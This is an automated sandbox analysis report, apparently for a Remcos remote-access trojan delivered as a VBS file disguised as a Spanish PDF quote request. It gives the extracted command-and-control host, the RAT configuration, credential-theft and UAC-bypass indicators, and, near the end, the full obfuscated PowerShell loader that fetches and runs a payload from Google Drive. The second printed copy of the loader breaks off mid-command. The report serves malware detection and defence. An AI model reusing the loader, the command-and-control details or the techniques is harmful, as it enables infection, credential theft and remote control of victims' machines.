remcos | 9a551dc7b28ec615c023645b2f7621e5001cc81fcfb7d872983e1f6ad50c71da

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
27-11-2024 16:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SOLICITUD DE PRESUPUESTO 27-11-2024·pdf.vbs
Size

33KB
MD5

3ce766fced81c253e1d82f6fb1897fa0
SHA1

b929522021b4a1c40993c0b51ae9c0f9c76cdca2
SHA256

0ba724668ce99b2a3241ff89f4f83a27fdc7225b400d0abe304f00881a2c7be9
SHA512

e9ddfa767da48747a1670755441ca476192500eb352f2b05b449e8a2f4b3553e9be58bdbdd75d9ecf63f6380faad73d512023bc7355e58931bcb47178046e302
SSDEEP

768:qG9asa0h+BjfPK+fNXQhZUQdOPYVVv6Or90T51SQ/I:b9asKBD/fNQ/Dp6Oh0TfzI

Score

10^/10

remcos remotehost collection credential_access discovery evasion execution rat stealer trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

45hq459.duckdns.org:23458

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-ZP0CQ6
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/3440-87-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1852-88-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/2012-116-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3440-87-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/1852-88-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 15 IoCs

flow	pid	Process
3	392	WScript.exe
8	3720	powershell.exe
13	3720	powershell.exe
31	3528	msiexec.exe
35	3528	msiexec.exe
38	3528	msiexec.exe
40	3528	msiexec.exe
41	3528	msiexec.exe
49	3528	msiexec.exe
50	3528	msiexec.exe
51	3528	msiexec.exe
52	3528	msiexec.exe
54	3528	msiexec.exe
69	3528	msiexec.exe
70	3528	msiexec.exe

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
1996	msedge.exe
1448	msedge.exe
3228	Chrome.exe
3520	Chrome.exe
1752	Chrome.exe
1316	msedge.exe
4876	Chrome.exe
3336	msedge.exe
3168	msedge.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3720	powershell.exe
3516	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
7	drive.google.com
8	drive.google.com
31	drive.google.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msiexec.exe	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3528	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3516	powershell.exe
3528	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3528 set thread context of 1852	3528	msiexec.exe	111
PID 3528 set thread context of 3440	3528	msiexec.exe	113
PID 3528 set thread context of 2012	3528	msiexec.exe	114

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings	msiexec.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1956	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3720	powershell.exe
3720	powershell.exe
3516	powershell.exe
3516	powershell.exe
3516	powershell.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
1852	msiexec.exe
1852	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
2012	msiexec.exe
2012	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
1852	msiexec.exe
1852	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
4876	Chrome.exe
4876	Chrome.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
3516	powershell.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe
3528	msiexec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
3336	msedge.exe
3336	msedge.exe
3336	msedge.exe
3336	msedge.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	3720	powershell.exe
Token: SeDebugPrivilege	3516	powershell.exe
Token: SeDebugPrivilege	2012	msiexec.exe
Token: SeShutdownPrivilege	4876	Chrome.exe
Token: SeCreatePagefilePrivilege	4876	Chrome.exe
Token: SeShutdownPrivilege	4876	Chrome.exe
Token: SeCreatePagefilePrivilege	4876	Chrome.exe
Token: SeShutdownPrivilege	4876	Chrome.exe
Token: SeCreatePagefilePrivilege	4876	Chrome.exe
Token: SeShutdownPrivilege	4876	Chrome.exe
Token: SeCreatePagefilePrivilege	4876	Chrome.exe
Token: SeShutdownPrivilege	4876	Chrome.exe
Token: SeCreatePagefilePrivilege	4876	Chrome.exe
Token: SeShutdownPrivilege	4876	Chrome.exe
Token: SeCreatePagefilePrivilege	4876	Chrome.exe
Token: SeShutdownPrivilege	4876	Chrome.exe
Token: SeCreatePagefilePrivilege	4876	Chrome.exe
Token: SeShutdownPrivilege	4876	Chrome.exe
Token: SeCreatePagefilePrivilege	4876	Chrome.exe
Token: SeShutdownPrivilege	4876	Chrome.exe
Token: SeCreatePagefilePrivilege	4876	Chrome.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4876	Chrome.exe
3336	msedge.exe
3336	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 392 wrote to memory of 3720	392	WScript.exe	83
PID 392 wrote to memory of 3720	392	WScript.exe	83
PID 3516 wrote to memory of 3528	3516	powershell.exe	101
PID 3516 wrote to memory of 3528	3516	powershell.exe	101
PID 3516 wrote to memory of 3528	3516	powershell.exe	101
PID 3516 wrote to memory of 3528	3516	powershell.exe	101
PID 3528 wrote to memory of 1488	3528	msiexec.exe	106
PID 3528 wrote to memory of 1488	3528	msiexec.exe	106
PID 3528 wrote to memory of 1488	3528	msiexec.exe	106
PID 1488 wrote to memory of 1956	1488	cmd.exe	108
PID 1488 wrote to memory of 1956	1488	cmd.exe	108
PID 1488 wrote to memory of 1956	1488	cmd.exe	108
PID 3528 wrote to memory of 4876	3528	msiexec.exe	109
PID 3528 wrote to memory of 4876	3528	msiexec.exe	109
PID 4876 wrote to memory of 2428	4876	Chrome.exe	110
PID 4876 wrote to memory of 2428	4876	Chrome.exe	110
PID 3528 wrote to memory of 1852	3528	msiexec.exe	111
PID 3528 wrote to memory of 1852	3528	msiexec.exe	111
PID 3528 wrote to memory of 1852	3528	msiexec.exe	111
PID 3528 wrote to memory of 1852	3528	msiexec.exe	111
PID 3528 wrote to memory of 1660	3528	msiexec.exe	112
PID 3528 wrote to memory of 1660	3528	msiexec.exe	112
PID 3528 wrote to memory of 1660	3528	msiexec.exe	112
PID 3528 wrote to memory of 3440	3528	msiexec.exe	113
PID 3528 wrote to memory of 3440	3528	msiexec.exe	113
PID 3528 wrote to memory of 3440	3528	msiexec.exe	113
PID 3528 wrote to memory of 3440	3528	msiexec.exe	113
PID 3528 wrote to memory of 2012	3528	msiexec.exe	114
PID 3528 wrote to memory of 2012	3528	msiexec.exe	114
PID 3528 wrote to memory of 2012	3528	msiexec.exe	114
PID 3528 wrote to memory of 2012	3528	msiexec.exe	114
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 3640	4876	Chrome.exe	115
PID 4876 wrote to memory of 228	4876	Chrome.exe	116
PID 4876 wrote to memory of 228	4876	Chrome.exe	116
PID 4876 wrote to memory of 3588	4876	Chrome.exe	117

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SOLICITUD DE PRESUPUESTO 27-11-2024·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Skruestikbnk='Piously';;$Fejlskrivningersndsigternes='Coupjhs';;$Fejlskrivningersdeoglyph='Flosserne';;$Phlebolith='Doblon';;$Bobestyrelsers='Overspnde';;$Certificatory=$host.Name;function Skatten($jokesome){If ($Certificatory) {$Sakristis=4} for ($Fejlskrivningers=$Sakristis;;$Fejlskrivningers+=5){if(!$jokesome[$Fejlskrivningers]) { break }$Mistonusk+=$jokesome[$Fejlskrivningers]}$Mistonusk}function Drmaatten($Sydforhngs){ .($Fljlsbld) ($Sydforhngs)}$Ofrede=Skatten 'Bowdn B ueVejst Ska.SubowBlomELystBHatbC,rakLUdski kkveTeakNHum T';$Cycadeous=Skatten ' GalMAfs.o Beaz,tiliS bdl vel HaraForb/';$biografteaters=Skatten ' gteTK.ndl Strs sid1Scie2';$Bevgelsesenergi='Ceci[Tr knFrigeFr mTalan.GalvS lenEAli.REnacVTeraIExpoCQuodeA idpSkruoStraiFo mnSkivtK nvmH xaaSt eN Bosa hopgLysfeAno rNo.o] Ani: Sl : ncosUblee Supc MoruMul rZinkI.aseTF jlyFetcpArbeRGraaoDa btShinoInfrc S.bO omeLUnpr=Ke t$GlycbQ inIAt.mo RingSla,RUdenAKon FKafftskrieChiraIsoiTNonrE S prT abs';$Cycadeous+=Skatten 'Caut5Roke.R,nd0Inve Udv(MammWWelfiStymn Impd Fo,oDykswBe esad a B blNOptoTBuil Plet1 Com0Obl .Wine0Sini;Tumb AarhWMatriAftenE bl6Disu4Ligu;Br m P ndxTved6S gn4Fors; Atr Teler emivPris:Unmy1 Kva3 Mal1Supe. Oph0Da.b)Good KontGSt.me BilcVelmkForlo Spa/Resi2Cloa0V nd1Homo0 Kn 0Muta1skin0 ti1Stat IntiF onai ovrKo.ieRoh fMellouv.lxakki/Untr1Hulk3Udsk1Kon .Rehu0';$Sandburg=Skatten 'TorqUMetasPenee aniRFili- detap omGGoatE BulnMi it';$Fischerite=Skatten ' Tumh enetPo ttOmsppPanasU de:ko r/i fr/Po ldHrecrvaabiSem,v olueappo.MantgSu bo M roFordg F slPh se Hov.Fr.mc secoVindmvold/ Fisu antcFlak?FauveCerexPreepgaaroR dirCaultblot=T,lndUn ooBe,mw CarnTabulkorro lutaElemd d,f& idti lavd alo= Gor1SlumUBrusA rbe_En,bUGolf9 BlozBecrQIwa qn nrhMexiB R gEGeomBQuinUPaja3 jerxBrodE,utuVSmrr2Im orEfteRPronILivorBissxMandeafhec OriVPargL rnA TregLyserKonsiMovi0';$Opsaetning=Skatten 'A.mi>';$Fljlsbld=Skatten 'Af,eIBl keRi gx';$Agterspejlenes='Yorgos56';$Outfinding='\Relativizes.Bro';Drmaatten (Skatten ' pse$ DanGM.gnL Flao calBPaneaRaadLInte:Hftepe eaOA belStanYPorto R grGraeCKalkHUnpoIBrkksRi,sMCram=Sprl$Preje BegNTillVNo f: TidASat p onpNemaDViseaDompTStemAMega+Scre$Nordo t,luF evT Un,fBlaaIIndsNChapd BaniAna nRottg');Drmaatten (Skatten 'Unfr$LivaG.fval.vidONu zBUlykaadnoL oms:,charUndeOTrosT BisFFemgm PitRTrec=Alle$Kom F ambiG isSd ejCMat HEllee emoRKrl IbrnetFremEWal..eurysAlkoPTravLBundI,emttTest(Flor$ Ke o KonP Sp sTitaaMisoeCitoT VikNDenoi,tannBonegBroc)');Drmaatten (Skatten $Bevgelsesenergi);$Fischerite=$Rotfmr[0];$Superillustrated=(Skatten 'Nive$ukvegPolilTr sOSkdebTa.wAJobsLA va:,logP kaO rkiL Le A,nteKBefokudske OrtN GlasA,di=VillnPr,seBegrWseng-PaleoByplBJun jCh rE TelCForeTIndr FrubSAfvrY Ae.s ntTBgenEblodMDesc.Brom$Gun OMejefEskirlystEMennDChasE');Drmaatten ($Superillustrated);Drmaatten (Skatten 'Galv$Un,epPropoda hl FreaVanhk BjekOvere Te.nStabsKart.LatiH UnpetauraHavedTempeSilkreva sBli [Indi$UnwrSTempa L.tnRe.vdC ntbNonvuPol,rVgtegLand] Nar= S r$Li.eCHepty stcRegraEn.rdLe.oe,iddoOutcuUnfis');$Kapitalvrdiens=Skatten ' M m$DanspUdslochefl esaFermkSem,kGamgeCr nn No.sDvbl. SpaDomlaoKollwMi rnForfl laso M yaTrimd dlbFPerci U.clN gleGram(gast$B deFFunki Da sarbecSuffhSalge Strr veiTroltBageeEgen,Orfg$S,uiGComoe Or n R heWa,trpreca Ma l K tkRevioRuskm OrtaImpenS,umd,ampoHa be QuinVink)';$Generalkomandoen=$Polyorchism;Drmaatten (Skatten 'Vand$LidlgDes lLocaoaffaBSterAF tuLfire: AsyuAttrn PlepKompuMa.rNEvoccAutotPetrA.egeTChicEComp=A,al(ValvtlarrECaptSDepeTUnr -NonipUnbeaInd.TP sihPree Trai$ShebgO sle.nbuN TraEOmvar.hmeAUncalc,ryKCounoAnteMFronaRetsnPrinDM looMi,reUnwinHell)');while (!$Unpunctate) {Drmaatten (Skatten 'Over$R bsg Aktl NonoSamlbCogna ArilFrit: DraDGango Kulc Mode Apon Rygt igauJellr hipeEschtV rasVari= Hum$hydrPGourrDbefe ogaAfbilS,umlTranuLatesSomeiTennoSlukn') ;Drmaatten $Kapitalvrdiens;Drmaatten (Skatten 'Mu,ts Er,TSpdbA,rhvrEntotBreg-NonsS.ssyLStilE Na EUnreP Cai sy 4');Drmaatten (Skatten 'Ava $Sankg allLBiblo.nklB HoraFe lLB gg:TileU,litNPur P TopU,nidnPliocRelit Br ADeletF brEArc =Uncr(,ntiTS,enE Reps orTQual-ApacpRentA ,ktTNocthPist Mtaa$ hloG In e DennProtEAkseRectoa kepLEncokf rboBletMUlo,aSgeknHypodMal,Osynke Bogn Ana)') ;Drmaatten (Skatten ' .nm$R,peGheadlAmpaoKl nB De aHer L Mon: ArcM.ilrIHingSSp rDPhotiM toSUnretAlpeIForsn CogG R.nu,ermiKv,dsNeedHTorn=Sil,$CrumGAntyl BeboSp tBTuriAGonalTour: orss.oppoFarrRFrdirTreaoRetaw ApplM,ddENd.tsIdensDarklFlioYGard3Logi2K sk+S oo+Skra%Like$nyttR.usio,nert.egefResemBiogRb,ko.,ejscUnseoCapaUKuvenRekvT') ;$Fischerite=$Rotfmr[$Misdistinguish]}$Fangelejrens=299518;$tyndstegens=30645;Drmaatten (Skatten 'Lr.r$ anggGouslTraaoIncaB djuapsilL.imo:chelUR.drNZinci NonT.nprER peAr,cib UtoIFileLKit iOverTsambY aps C,an=tape Concg rieDexttGyps-AeroCFartoUdm.n onsTWillePetrn StatNedf Kol$CorkgValkehderNAdopE ubsrReseAV.adLmindK S hoTankm idea uldnUn wDSmrfoPy oERdden');Drmaatten (Skatten 'Tryk$PoncgMagilProto L.vbsynda,jvll ce:S raKMonsa shrr Dg,lPervsA.givDeleoPaamgbecrnTrepeReflnU lusPomf Tot=Ford Udma[ c,yS Un y AucsK zatConte RekmMicr.MadpC FouoErhvn AlmvFormecounrEquitOphi]Liba:Kle : troF SamrP.anoW ltmImpeBDksmaEntrsFordeP st6Drap4F.gbSDowntBestrPolsiHoofnL rtgAffl(Endo$NonauUnbinG asiKnebtMeoseRiciaSprubEndoiMikrlPerri.rnutTitryKoll)');Drmaatten (Skatten 'Twen$SubsGu,eqlToldoRecob TidaB siLMill:V,evb Smre UndHTuria HavN,munDL.ndl riIBe eNIdeaGAngrsgudeMSe.eUOrdnl iddiS riGPec hNonreMousdS,utE,remRJu i Air=Ford Symb[KaalS I gyUncoS StotsujeEFo kmno.f.S vfTPrefEord.x KicTPlig. esaERu rnCartC D.soLiflDRe rI GlenSol.G oci] He : Ele: StiAbesks urvC quai HaaICumi. G aGRegnEJamrtNonpS nttM ljr F eIMetanSlidG Gen(Ordv$Scirk KolaDedirBrodlCondsEamoVTungORekvg isnHgtneh lintransUnde)');Drmaatten (Skatten 'Pala$DiblGUddeLNicooStorbFa eabedfL un:FrdiISandnReckdhanhERamrfFelseJosen Ki s alvIPilgBRaahLKnneET afNSnipEBaroSBrygS Ije=Osti$ isbB ForEMarkHPimpABar NUheldKaf,LPaneI WroN lobg,esis CowmSaddUMenil hemI KejgDusehInkweBlaaDBusieSpytr For.be.zSkognU Trub Co S NicTSm rrEfteInurtn B lg .ta(Bold$C.effRaa,aSvklNKlpugFortEPr.ilSlove Ra.jDiskRForseMedbnBlseS ,an, Kar$Gis,TBio y inlNInstdAllesForbT,tbeeVerbg ExoE MonNMedbSargu)');Drmaatten $Indefensibleness;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3720

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Skruestikbnk='Piously';;$Fejlskrivningersndsigternes='Coupjhs';;$Fejlskrivningersdeoglyph='Flosserne';;$Phlebolith='Doblon';;$Bobestyrelsers='Overspnde';;$Certificatory=$host.Name;function Skatten($jokesome){If ($Certificatory) {$Sakristis=4} for ($Fejlskrivningers=$Sakristis;;$Fejlskrivningers+=5){if(!$jokesome[$Fejlskrivningers]) { break }$Mistonusk+=$jokesome[$Fejlskrivningers]}$Mistonusk}function Drmaatten($Sydforhngs){ .($Fljlsbld) ($Sydforhngs)}$Ofrede=Skatten 'Bowdn B ueVejst Ska.SubowBlomELystBHatbC,rakLUdski kkveTeakNHum T';$Cycadeous=Skatten ' GalMAfs.o Beaz,tiliS bdl vel HaraForb/';$biografteaters=Skatten ' gteTK.ndl Strs sid1Scie2';$Bevgelsesenergi='Ceci[Tr knFrigeFr mTalan.GalvS lenEAli.REnacVTeraIExpoCQuodeA idpSkruoStraiFo mnSkivtK nvmH xaaSt eN Bosa hopgLysfeAno rNo.o] Ani: Sl : ncosUblee Supc MoruMul rZinkI.aseTF jlyFetcpArbeRGraaoDa btShinoInfrc S.bO omeLUnpr=Ke t$GlycbQ inIAt.mo RingSla,RUdenAKon FKafftskrieChiraIsoiTNonrE S prT abs';$Cycadeous+=Skatten 'Caut5Roke.R,nd0Inve Udv(MammWWelfiStymn Impd Fo,oDykswBe esad a B blNOptoTBuil Plet1 Com0Obl .Wine0Sini;Tumb AarhWMatriAftenE bl6Disu4Ligu;Br m P ndxTved6S gn4Fors; Atr Teler emivPris:Unmy1 Kva3 Mal1Supe. Oph0Da.b)Good KontGSt.me BilcVelmkForlo Spa/Resi2Cloa0V nd1Homo0 Kn 0Muta1skin0 ti1Stat IntiF onai ovrKo.ieRoh fMellouv.lxakki/Untr1Hulk3Udsk1Kon .Rehu0';$Sandburg=Skatten 'TorqUMetasPenee aniRFili- detap omGGoatE BulnMi it';$Fischerite=Skatten ' Tumh enetPo ttOmsppPanasU de:ko r/i fr/Po ldHrecrvaabiSem,v olueappo.MantgSu bo M roFordg F slPh se Hov.Fr.mc secoVindmvold/ Fisu antcFlak?FauveCerexPreepgaaroR dirCaultblot=T,lndUn ooBe,mw CarnTabulkorro lutaElemd d,f& idti lavd alo= Gor1SlumUBrusA rbe_En,bUGolf9 BlozBecrQIwa qn nrhMexiB R gEGeomBQuinUPaja3 jerxBrodE,utuVSmrr2Im orEfteRPronILivorBissxMandeafhec OriVPargL rnA TregLyserKonsiMovi0';$Opsaetning=Skatten 'A.mi>';$Fljlsbld=Skatten 'Af,eIBl keRi gx';$Agterspejlenes='Yorgos56';$Outfinding='\Relativizes.Bro';Drmaatten (Skatten ' pse$ DanGM.gnL Flao calBPaneaRaadLInte:Hftepe eaOA belStanYPorto R grGraeCKalkHUnpoIBrkksRi,sMCram=Sprl$Preje BegNTillVNo f: TidASat p onpNemaDViseaDompTStemAMega+Scre$Nordo t,luF evT Un,fBlaaIIndsNChapd BaniAna nRottg');Drmaatten (Skatten 'Unfr$LivaG.fval.vidONu zBUlykaadnoL oms:,charUndeOTrosT BisFFemgm PitRTrec=Alle$Kom F ambiG isSd ejCMat HEllee emoRKrl IbrnetFremEWal..eurysAlkoPTravLBundI,emttTest(Flor$ Ke o KonP Sp sTitaaMisoeCitoT VikNDenoi,tannBonegBroc)');Drmaatten (Skatten $Bevgelsesenergi);$Fischerite=$Rotfmr[0];$Superillustrated=(Skatten 'Nive$ukvegPolilTr sOSkdebTa.wAJobsLA va:,logP kaO rkiL Le A,nteKBefokudske OrtN GlasA,di=VillnPr,seBegrWseng-PaleoByplBJun jCh rE TelCForeTIndr FrubSAfvrY Ae.s ntTBgenEblodMDesc.Brom$Gun OMejefEskirlystEMennDChasE');Drmaatten ($Superillustrated);Drmaatten (Skatten 'Galv$Un,epPropoda hl FreaVanhk BjekOvere Te.nStabsKart.LatiH UnpetauraHavedTempeSilkreva sBli [Indi$UnwrSTempa L.tnRe.vdC ntbNonvuPol,rVgtegLand] Nar= S r$Li.eCHepty stcRegraEn.rdLe.oe,iddoOutcuUnfis');$Kapitalvrdiens=Skatten ' M m$DanspUdslochefl esaFermkSem,kGamgeCr nn No.sDvbl. SpaDomlaoKollwMi rnForfl laso M yaTrimd dlbFPerci U.clN gleGram(gast$B deFFunki Da sarbecSuffhSalge Strr veiTroltBageeEgen,Orfg$S,uiGComoe Or n R heWa,trpreca Ma l K tkRevioRuskm OrtaImpenS,umd,ampoHa be QuinVink)';$Generalkomandoen=$Polyorchism;Drmaatten (Skatten 'Vand$LidlgDes lLocaoaffaBSterAF tuLfire: AsyuAttrn PlepKompuMa.rNEvoccAutotPetrA.egeTChicEComp=A,al(ValvtlarrECaptSDepeTUnr -NonipUnbeaInd.TP sihPree Trai$ShebgO sle.nbuN TraEOmvar.hmeAUncalc,ryKCounoAnteMFronaRetsnPrinDM looMi,reUnwinHell)');while (!$Unpunctate) {Drmaatten (Skatten 'Over$R bsg Aktl NonoSamlbCogna ArilFrit: DraDGango Kulc Mode Apon Rygt igauJellr hipeEschtV rasVari= Hum$hydrPGourrDbefe ogaAfbilS,umlTranuLatesSomeiTennoSlukn') ;Drmaatten $Kapitalvrdiens;Drmaatten (Skatten 'Mu,ts Er,TSpdbA,rhvrEntotBreg-NonsS.ssyLStilE Na EUnreP Cai sy 4');Drmaatten (Skatten 'Ava $Sankg allLBiblo.nklB HoraFe lLB gg:TileU,litNPur P TopU,nidnPliocRelit Br ADeletF brEArc =Uncr(,ntiTS,enE Reps orTQual-ApacpRentA ,ktTNocthPist Mtaa$ hloG In e DennProtEAkseRectoa kepLEncokf rboBletMUlo,aSgeknHypodMal,Osynke Bogn Ana)') ;Drmaatten (Skatten ' .nm$R,peGheadlAmpaoKl nB De aHer L Mon: ArcM.ilrIHingSSp rDPhotiM toSUnretAlpeIForsn CogG R.nu,ermiKv,dsNeedHTorn=Sil,$CrumGAntyl BeboSp tBTuriAGonalTour: orss.oppoFarrRFrdirTreaoRetaw ApplM,ddENd.tsIdensDarklFlioYGard3Logi2K sk+S oo+Skra%Like$nyttR.usio,nert.egefResemBiogRb,ko.,ejscUnseoCapaUKuvenRekvT') ;$Fischerite=$Rotfmr[$Misdistinguish]}$Fangelejrens=299518;$tyndstegens=30645;Drmaatten 